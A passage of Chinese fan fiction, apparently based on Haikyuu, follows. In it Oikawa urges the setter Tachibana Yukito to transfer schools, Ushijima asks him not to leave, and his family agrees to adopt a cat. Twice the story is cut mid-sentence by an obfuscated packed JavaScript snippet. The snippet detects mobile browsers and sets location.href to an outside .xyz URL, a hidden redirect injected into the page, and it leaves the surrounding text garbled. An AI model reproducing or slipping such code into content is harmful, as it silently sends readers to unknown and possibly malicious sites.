但是这种在泥泞里挣扎的小可怜,他还是挺喜欢的。 “学、学长。”立花雪兔抱着猫包,仰头看着以身高优势堵着自己的及川彻,弱小可怜又无助地问,“有什么事吗?” 及川彻想到自己待会儿要说什么就想笑。 哈哈哈哈,小牛若,你也有今天啊!!! 及川彻故意沉着嗓音,学某人的语气说: “立花,你应该来青叶城西。” 立花雪兔:“……” 及川彻:“……” 及川彻:“啊啊啊你怎么哭了?!” 眼泪如断了线的珍珠般掉落。 立花雪兔原本也不想在外人面前哭的,只是受伤下场的时候就已经快要哭了,他硬生生憋回去了。现在被及川彻一说,所有积累的委屈、疼痛和不甘心忽然全部决堤了,忍也忍不住。 及川彻吓得连连道歉,谁知道他随口说的一句话能把人惹成这样?这他上哪里说理去!小牛若还在外面到处跟人说及川彻应该去白鸟泽呢,那他是不是要跳广濑川才可以明志?! 但是现在想这些也没用了,事实就是他把后辈惹哭了。后辈除了是小牛若的幼驯染之外没有任何缺点,漂亮乖巧讲礼貌,不是天才,练习赛的时候还一直朝自己投来憧憬羡慕的目光,非常之强烈,根本没办法不注意到。 他把这样的后辈惹哭了。 及川彻:我还是人吗。 及川彻:不对,问题应该在白鸟泽。 及川彻也没带手帕纸,只能用Burberry卫衣的袖子给人擦眼泪,手忙脚乱,晕头转向。这时候他看见少年的眼睑上有一颗若隐若现的细痣,他恍惚地想,啊,这样一切都说得通了。 姐姐说,眼睑上有痣的人,一生都会眼泪泛滥。 立花雪兔自己擦了擦眼睛,过了一会儿,很不好意思地对及川彻说:“抱歉……” “抱歉,刚刚我是开玩笑的,但现在是认真的。”及川彻已经完全想清楚了,“你确实应该来青叶城西。” 立花雪兔垂着眼睛,沉默。 “为了配合小牛若,白鸟泽会毁了所有人,濑见就是这样。”及川彻继续说,“你如果非常努力的话,大概也可以胜任副攻手的位置,但那样太浪费了。你自己都没发现吗?” “发现什么?”立花雪兔怔怔地问。 “你的能力。”及川彻点了一下他的脑门,“瞬间处理赛场信息的能力,协调所有人的能力,洞察他人情绪的能力。别告诉我你在白鸟泽排球部待了一个月,都没人跟你说这些啊。” 立花雪兔哑口无言。 “太浪费了。”及川彻摇头,“我得去查查转学的手续怎么办。我们的一年级新生里还找到你这么有潜力的二传手呢,锻治老头,他懂个屁的排球啊,怎么会想到让你在副攻的位置上浪费时间……” 有点……不对,非常开心。 被非常强大的及川学长夸奖了,以二传手的身份。果然,他还是喜欢打二传,喜欢和队伍联系起来的感觉。 得到夸奖之后,汹涌的悲伤也瞬间就过去了。虽然其实根本就没有解决任何问题,转学去青叶城西听起来也像是天方夜谭,但是在最难过的时候,有人说你很好,就已经足够了。 “我考得上青叶城西吗?”立花雪兔开玩笑地问。 “拜托,你都考上白鸟泽了——” “雪兔!” 有人有些急促地喊他。 立花雪兔探出脑袋,及川彻不明显地僵了一下,这才慢悠悠地转过身去。 “——还有及川。”牛岛若利定定地看着他,硬邦邦地问,“你怎么在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454734|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里。” 及川彻换上了他招牌的、有些臭屁又有些欠揍的笑,一胳膊搭上立花雪兔的肩膀,感到少年的身体猛地绷紧了,像一只惊弓之兔。 “及川大人正好路过呀,是吧,小雪兔。” “啊,对对——呃,若利你怎么来了?”立花雪兔心说这局面究竟是要怎样啊?!我还能活了吗?! “我看宠物医院离烤肉店很近,你还没来,就过来找你了。” 立花雪兔简直头皮发麻。 “……我这就去把Block装到猫包里!现在就回去了!啊哈哈哈你说这事闹得你们先吃就行了不需要来找我的……” “需要。”牛岛若利说。 立花雪兔哪里敢说话,低着头打算从及川彻的胳膊底下溜走,谁知道及川彻忽然一用力把他揽了回来,把手机怼在他脸上。 立花雪兔:“……?” “我的LINE账号。”及川彻的语气很温柔,眼睛里却没有笑意,而是挑衅地望着牛岛若利,“加我吧,小雪兔。” 立花雪兔哪里敢不从,一边偷偷瞄自己的幼驯染,一边哆嗦着加了及川彻的好友,心说这下总可以放过我了吧,这两位主将等会儿打起来了怎么办,他区区一只小兔子可管不了,只能先溜了。 及川彻好像还是没打算放过他。 “刚刚说的事你回去好好考虑一下哦,小·雪·兔。” 这句话如一发冷箭,直直地射向立花雪兔的后背,成功地让他一个踉跄。 “什么事?”牛岛若利问。 立花雪兔假装没听见,一溜烟地逃了。 “你回头问问小雪兔就知道了呀。”及川彻挥挥手,“及川大人也先走了,拜拜,小牛若。” “他为什么哭了?”牛岛若利冷冷地问,“你对他说了什么。” “他哭不是因为我对他说了什么。”及川彻嘲讽地笑了笑,“——而是因为你什么都没对他说吧。” 牛岛若利:( ˙︿˙ )? * 牛岛若利和立花雪兔并排走着,帮他拎着猫、抱着滑板。立花雪兔甩着手,像少爷一样走在旁边,不知道该说什么。 “猫。”牛岛若利问,“要放归吗?” 立花雪兔摇头:“我带它回家试试。” “你外公不同意的话就养在我家,我把钥匙给你,妈妈出差了你就去喂它。” 也是个好主意,就是有点麻烦凛华阿姨,而且家钥匙是可以这样随便给人的吗? “我尽量请求外公吧。”立花雪兔说。 走到了烤肉店门口,已经可以听见店里男高中生们的大喊大叫、打打闹闹以及教练的怒吼。 立花雪兔刚要迈进去,就在这喧嚣之外的一方寂静里,牛岛若利停下了。 他望着少年,再一次认真地唤他的名字: “雪兔。” 遥远的西太平洋的热带海面,一阵温暖的气流正在上升、旋转,以极快的速度向着西北方移动。 树叶哗啦作响,铺天盖地。 在这酝酿着风暴的潮湿中,仿佛也有另一场风暴,在少年的心里沉默地席卷。 「因为你什么都没对他说。」 心里的这种感觉是什么? 很陌生,也很难受。 牛岛若利难得地茫然无措,在纷纷杂杂的念头里,此刻只能抓住最强烈的那一个,直白地宣之于口—— “你不要走。” 21.可耻却有用的逃避 从左至右依次为装着Block的猫包、外公、外婆、吃罐头的算盘。 一张写着「未来计划」的、字迹歪歪扭扭的稿纸。 立花雪兔跪坐在蒲团上。 ——立花家的规则怪谈·家庭会议篇 “不要吵架。”立花薰子先说,“更不要打架。” “一样一样来吧。”立花浩介叹气。 “这周你表现不错,说的都做到了。以及,我认真阅读了你交给我的个人未来计划书,我就单刀直入地说了,”立花浩介顿了顿,“毫无任何可取之处。” 立花雪兔:“……” “在未来一片混乱的情况下,你还带回了一只猫。” “猫很可怜……” “正因如此,你才更应该清楚将来要做什么。你自己写的计划是要念大学,我姑且不说你对考试规定、目标院校和专业一无所知,也只是凭着之前的基础吊儿郎当地维持成绩,假设三年之后你真的去读大学了,这只猫怎么办?你想过没有?” “就、就放在家里啊。”立花雪兔嗫嚅道。 “嗯?我记得有人说过,这是我的家,不是他的家。我可没有义务帮一个和我毫无关系的小子照顾他的猫。” “吵架时说的话就不要当真了。”立花薰子及时调解。 “好吧。”立花浩介叹气,“我只是想让这小子知道,猫的一辈子,还有他自己的一辈子,都很重要,不能马虎地就过去了。” 沉默了一会儿,立花雪兔抬头: “我明白您的意思,外公。但是我……我确实一无所知,您突然问我什么未来什么一辈子之类的事情,我短时间内很难想清楚这么重要的决定……” “不是我突然问,而是你从未考虑。这件事情应该在你更小的时候就埋下种子,在成长的过程中不断调整,从而接近目标……真琴果然不会教孩子。” 立花雪兔想到了牛岛若利。 他一定就是在很早的时候就确定了自己的未来吧?甚至先于他们的相遇。认识他的时候,他就已经在朝着自己的目标日复一日地努力了。 大家总说他是排球天才,叫他「怪童」。事实上,早早地就清楚自己想要做什么,并且毫无迷惘地不断为之努力,这就已经是一种超越了绝大部分人的天赋了。 与之相反,立花雪兔一直都在过着一种轻松而快乐的日子。 没有目标,也就不必为任何事而努力。就像随心所欲地生长的野花,乍然一看非常新鲜美丽,可是很快就会凋零。 “……请再给我一些时间吧,外公。”少年说,“我会认真想想的。” 立花浩介的目光落在他受伤的手指上。 “现在也只能这样了。”他顿了顿,“还有,在你未来的计划中,似乎没有提到与排球相关的内容,你还要继续打吗?” 立花雪兔:“?!” “我听说,你现在所处的队伍中,似乎不需要你的位置。”立花浩介慢悠悠地说。 “诶?外公你怎么知道——不,先等等,”少年语气急促,“我要打。” “转位置也要打?” “我暂时还没有想清楚,但是我喜欢打排球,我想打。就算未来的职业与排球毫无关系,这三年里我也要打球,只有这件事是我能肯定的。” “受伤了也要打?” “只是一点小伤,不会死人的。” “……好吧。”立花浩介说,“那么,我就没有别的要说的了。” 立花雪兔眨了眨眼睛。 “……猫呢?” “这孩子打过疫苗了吗?”立花薰子忽然问。 “打过了,绝育了,驱虫了,指甲剪了,骨折也恢复了。医生说它非常健康,狸花猫也不容易生病。” “它有名字吗?” “Block。” “好的,那么,我要收养Block。” 立花浩介:“……薰子!” 立花雪兔:“耶!外婆最好了!” * 总算带Block通过了最困难的考验,经过这鸡飞狗跳的一天,立花雪兔像一只泄了气的皮球,把自己呈“大”字状甩在床上,只感到脑袋胀胀地疼。 打排球,不打排球。 转位置,不转位置。 自己的未来。 这些事像毛线团一样缠在脑子里,他都已经想不清楚了,更何况还有牛岛若利站在暴雨来临前的潮湿风中,望着自己说的那句话。 「你不要走。」 不知道他是什么意思,也许他根本就没有什么意思。他说话向来惜字如金,要旁人自行加以理解,才能明白他真正的意思。 然而立花雪兔那时候已经没有力气去理解牛岛若利的意思和立场,他很累很累,他的力气只够把眼前的这顿饭吃完。 是的,立花雪兔逃避了。 他没有回答,到现在也依旧在逃避回答。 手机屏幕闪烁,住在隔壁的人给他发了好几条消息。 牛岛若利: 【到家了吗?】 你不是看着我进家门的吗。 牛岛若利: 【外公同意了吗?】 你没有听见我们打起来,那就是同意了。 牛岛若利: 【快要下雨了。】 ……快要下雨了啊。 立花雪兔好烦,而且又想哭了。他决定一直不要回复那家伙的消息除非他说到自己想听的那句话,可是他为什么迟迟不说?那句话到底是真的还是假的?如果是假的,为什么还要说?如果是真的,为什么又不说了? 拜托你了,告诉我吧。 为什么要我留下? 哪怕非常官方地说是为了白鸟泽也好,或者就像个及川学长最讨厌的天才一样自大地说是为了你也好,不论你用什么理由来留住我,好的坏的,我都不会走的。 ……只是求求你了,不要不说,对我说吧。 又收到了一条消息。 却不是牛岛若利发来的了。 一般路过三花猫: 【今天打不打?】 这位三花猫是立花雪兔在网上认识的朋友。他还是未成年,成为任天堂会员必须要加入家庭,想也知道外公是不可能搞这些的,他就在网上和别人拼了一个家庭会员。 三花猫的游戏库丰富,游戏时间长得令人咋舌,在线时间也像美国时间,常常半夜上线,到立花雪兔第二天醒来依旧在线。 之前他们在玩不同的游戏,最近则都在玩Splatoon3,偶尔在线时间撞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462832|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了,就会一起打。三花猫很强,立花雪兔也不菜,一来二去就成固定队友了。 立花雪兔心想,不管了,先打游戏再说。 狂乱木曜日: 【来了!】 三花猫的游戏形象是一只酷酷的布丁头女章,立花雪兔选的是女鱿,因为女角色的声音好听,而且有一个很像垂耳兔的发型。不过他直觉认为三花猫应该真的是女孩子,从不说话不是耍酷装高冷,而是有些害羞的那种樱花妹。 涂地模式,开局,醋饭海鲜世界。 立花雪兔都忘了自己手指受伤了,只能用包扎成一团的食指和中指按ZR键。他开局就直冲中场,噗叽噗叽地喷出荧光粉色墨水涂抹地面。 右侧突然传来“咔嗒”一声,敌人从寿司桶后闪现出来,一个技能朝他脸上拍来。立花雪兔本能地按ZL潜到粉色的墨水里,紧接着一声射击枪响,正在后排涂家的三花猫直接狙中了敌人,把他炸成了一朵烟花。 一局结束,三花猫一共拿下12杀。 立花雪兔心说:被带躺了。 他给三花猫发消息: 【呜呜,我还是不打了,手指受伤了太影响操作。】 一般路过三花猫: 【你怎么了?】 狂乱木曜日: 【小伤,打排球打的。】 过了一会儿三花猫问: 【你也打排球?】 狂乱木曜日: 【对啊对啊,三花你也打吗?你打什么位置的?】 一般路过三花猫: 【二传。】 立花雪兔被暴击了:“……” 二传!二传!!! 除了自己!全世界都在打二传!!! 一般路过三花猫: 【那我继续了,你好好休息吧,下次再约。】 狂乱木曜日: 【好ヾ(^▽^*)】 立花雪兔把手机和游戏机往床下一丢,裹着被子在床上翻滚。 好烦啊!什么事都解决不了!好烦啊! 不管了,睡大觉。 大概白天消耗了太多的体力,不到十分钟他就沉沉睡去了,自然也就没有看见之后收到的那一条消息。 牛岛若利: 【可以见一面吗?】 * 牛岛凛华在书房里加班处理工作,起身去倒水的时候,却看见牛岛若利握着手机,还坐在客厅里。 客厅只开着一盏落地灯,少年安静地坐在半明半暗的阴影里。她的孩子已经长得很高大了,沉默的背影如一个真正的男人,但脸上那种困惑的表情,却还是属于少年的。 “咦,若利你怎么了?”牛岛凛华问,“今天没有去运动吗?” “等一会儿再去。” “很少见你这样一直盯着手机啊。”牛岛凛华半开玩笑地说,“我们家若利,不会是有喜欢的人了吧?” “……”牛岛若利顿了一下,反问道,“喜欢?” 牛岛凛华想了想:“嗯……就是在意?” 在意…… 就是喜欢吗? 牛岛若利低头,思索了更长的时间。在牛岛凛华都以为他不会再回答了的时候,他抬起头,认真地说: “嗯,有的。”